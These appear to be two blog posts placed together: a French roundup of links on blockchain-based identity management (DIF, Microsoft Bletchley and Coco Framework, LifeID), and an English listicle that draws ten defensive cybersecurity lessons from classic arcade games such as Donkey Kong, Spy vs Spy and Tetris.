Depuis quelques mois, je suis de façon très proche l’évolution de la technologie BlockChain et les implications de cette technologie sur la gestion des identités. Il est clair que de manière structurelle, cette technologie est parfaite pour gérer des identités. En effet, cela permet un système à la fois centralisé et décentralisé, un contrôle fiable des identités et une certitude sur la fiabilité des données (au sens où ces données ne sont pas falsifiables) – il reste néanmoins à faire des progrès en terme de performance, la gestion des identités devant s’appuyer sur des modifications visibles « en presque temps réel ».

Il est donc important dès maintenant pour les spécialistes de la gestion des identités de se pencher sur ce sujet. Dans cet article, je vais donc mettre quelques liens et pistes pour que vous puissiez explorer vous-même ce nouveau paradigme.

D’abord, un super site pour « tester » la technologie BlockChain et surtout comprendre son fonctionnement de manière visuelle : https://blockchaindemo.io/

Un article expliquant le concept de BaaS (Blockchain as a Service), vous remarquerez que tous les grands noms sont sur le pont et proposent un service BaaS: https://www.lebigdata.fr/baas-blockchain-as-a-service-definition

Ensuite deux articles de vulgarisation permettant de comprendre en quoi la technologie BlockChain est parfaitement adaptée à la gestion des identités : https://www.devteam.space/blog/how-to-use-blockchain-technology-for-identity/ & https://www.forbes.com/sites/forbestechcouncil/2018/07/27/how-blockchain-can-solve-identity-management-problems/

Le site web de la DIF, soit la Decentralized Identity Foundation, organisation visant à définir les nouveaux standards en termes de gestion des identités, en adoptant un modèle basé sur la BlockChain (même si cela n’est pas clairement exprimé sur leur site) : https://identity.foundation/

De plus, Microsoft travaille sur le sujet de façon très très forte ! Tout d’abord un article sur Github présentant le projet Bletchley, qui est le projet de support de la technologie Blockchain made in Microsoft: https://github.com/Azure/azure-blockchain-projects/blob/master/bletchley/bletchley-whitepaper.md

Ensuite un article expliquant que Microsoft travaille sur une gestion des identités basée sur la BlockChain : https://thenextweb.com/hardfork/2018/02/12/microsoft-digital-identity-blockchain/

Un autre article présentant le Framework « Coco Framework »: https://ulvbjornsson.com/2018/02/05/microsofts-coco-framework-enhancing-cybersecurity-on-the-blockchain/ – extrêmement intéressant, car visant à résoudre les problèmes de la technologie Blockchain appliquée à la gestion des identités (comme la performance par exemple).

Puis un article nous indiquant que Microsoft vient de délivrer un kit de développement Cloud pour développer des technologies BlockChain : https://thenextweb.com/hardfork/2018/11/15/microsoft-blockchain-cloud-azure/

Un hasard ? Je ne crois pas… Microsoft ne fait pas les choses au hasard…

Pour finir, il reste à noter un ensemble foisonnant d’initiatives plus ou moins variées, proposant des « frameworks » permettant l’usage de la BlockChain dans le cadre de la gestion des identités – par exemple [ LifeID ] dont la promesse est de proposer un framework Open Source intégrant BlockChain + Identity. La plupart de ces solutions n’ont pas de business model vraiment avéré et la liste des futurs survivants dans ce nouveau monde reste complexe à réaliser…

The good old Arcade Games teach us about today CyberSecurity rules

CyberSecurity is a never-end journey. The good old games are the same, old, always here and never outdated. As an old arcade games fanboy and an actual CyberSecurity & IAM expert, it is amazing to see how the old rules serve the current war against malware, lack of systems configuration and black hats.

Let’s review the rules and remember the happy days.

Rule 1 with Space Invaders: hide yourself behind a wall is not enough for a good defense strategy

In the Space Invaders game, you can stay behind the red wall, you will live for 5 minutes, but at the end you will die. Against the threats, is not enough to hide yourself and think the better days are coming. In an open world, you will need to build a defense strategy beyond an unique firewall strategy. The perimetric security is dead, you need to use other strategies. It doesn’t mean you don’t need a firewall or several, but you can’t think is enough to protect your network. Build a security data strategy, an encryption strategy, an authentication strategy and all the important strategies you need.

Rule 2 with Donkey Kong: The lateral movement will provide privileges escalation for the attacker

In the Donkey Kong game, you will learn to do horizontal movement or vertical movement at the exact instant you need to. This is very true, especially when we are talking about Active Directory Hardening. The attacker will not try to catch the top-level system first, he will first try to compromise one workstation, and then he will try to go horizontal and get access to the other workstations. He will look for some high-level account privilege traces on the workstations. As soon he finds it, he is ready and now it is time to go vertical, climb the systems and go to the holly Graal, the Domain Controller of Active Directory.

Rule 3 with Spy vs Spy: Using some HoneyPots is always a good strategy

In the Spy vs Spy game, the better way to defeat your adversary is to create and put some traps. When you want to detect the attacker, deploy some honeypots on your network will provide a good way to catch him. You can use honeypot in different manner: fake web site, fake DNS entries, fake admin accounts, etc. The only challenge will be to have a good understanding of the way the attacker acts to be sure you will put something interesting for him.

Rule 4 with 1942: Agility and movement are key if you want to succeed against the enemy

In the 1942 game, if you stay at the same place on the screen you are dead after 2 seconds. When you are in movement, it is difficult to catch you. You need to constantly move and get agility to improve your faculty against the attacker. Don’t be static, change the configurations, change the passwords, change the different tools you are using to implement you defense. Evaluate new solutions, invent new defense – in one word, be Agile.

Rule 5 with Double Dragon: Yes, you can beat a boss bigger than you

In the Double Dragon game, you will destroy a boss in every stage, each boss is bigger and more powerful than you. Even if the adversary seems to be huge: well-trained, large experience with good technical skills, you can beat it. It is matter for anticipation, pugnacity and strategy. You can defeat the beast, but you need to study the beast strategy, learn the way he moves, learn the way he acts, learn his characteristics and you will be able to succeed.

Rule 6 with Sorcery: Each system owns a specific weakness

In the Sorcery game, each object will kill a specific creature: The Strong Sword kills the monks, the Sharp Axe kills the ghosts, the ball & chain kills the Beholder, etc. Sometimes you are not responsible of the system or application choice, but you need to protect it. Here it is difficult, because you are not a specialist on every system, but you will need to study and learn about the different key weakness for each: Windows, Linux, Oracle, Tomcat, etc. have specific issues or weakness -So you will need to train yourself, speak with other specialist and define the correct strategy for each system. It is hard, time consuming but you will get a basic understanding on all the platforms you need to protect.

Rule 7 with Ghosts’N Goblins: Practice, practice and again practice

In the Ghosts’N Goblins game, the first 50 times you will play the game, you will die very quickly, after a while you will start to succeed in the game. You need to train & practice – again, train & practice – again, train & practice – etc. As you understand, this is again a never end story, you always have new technologies, new type of attack, new discovered vulnerability – the only way to make a good job for you in terms of security is practice and practice again. Your self-training capabilities will be key in your success. Again it is time consuming, but you will get a very good ROI from your tests and labs.

Rule 8 with Golden Axe: Different people, different skills, you need to build a strong team for defense

In the Golden Axe game, you must use different type of characters which have different skills considering the situation and your enemy. You can’t perform everything by yourself, you can’t be a top specialist on every technology or system. So, you need a team, a strong defend team with various people who have different technology knowledges. With a good mix of folks, which complete each other, you be able to succeed against the threat.

Rule 9 with OutRun: Speed is your best friend and speed is your best enemy

In the OutRun game, if you go too slow you will lose the race, if you go too fast, you will break your car in a wall. For sure, when you are under attack, you will need to react very fast to get the systems back and be safe again – BUT – sometimes if you react too fast you will make the wrong choices, in fact you need to find the good tempo. You are under attack ? take a good breathe, a strong coffee, a fine whisky and think about it, you will need to investigate the situation before to react and find the prefect planning to fix the breach. Be fast, don’t be too fast.

Rule 10 with Tetris: Build your own pattern

Tetris is my FAVORITE game. I played during hours, days, weeks, months when I was younger. The very important teaching with Tetris is you will have different way to win the game. Depending your personality, you will play a different way. It is not existing a good or a bad way to play, the good way is only the way which permits you to win the game. It will be the same with your defense strategy, depending who you are, depending your skills or your personality, you will elaborate a different strategy. Know your systems, know yourself and build your own pattern.

Remember the rules:

Rule 1 with Space Invaders: hide yourself behind a wall is not enough for a good defense strategy

Rule 2 with Donkey Kong: The lateral movement will provide privileges escalation for the attacker

Rule 3 with Spy vs Spy: Using some Honey Pot is always a good strategy

Rule 4 with 1942: Agility and movement are key if you want to succeed against the enemy

Rule 5 with Double Dragon: Yes, you can beat a boss bigger than you

Rule 6 with Sorcery: Each system owns a specific weakness

Rule 7 with Ghosts’N Goblins: Practice, practice and again practice

Rule 8 with Golden Axe: Different people, different skills, you need to build a strong team for defense

Rule 9 with OutRun: Speed is your best friend and speed is your best enemy

Rule 10 with Tetris: Build your own pattern

, and thanks to the old arcade games !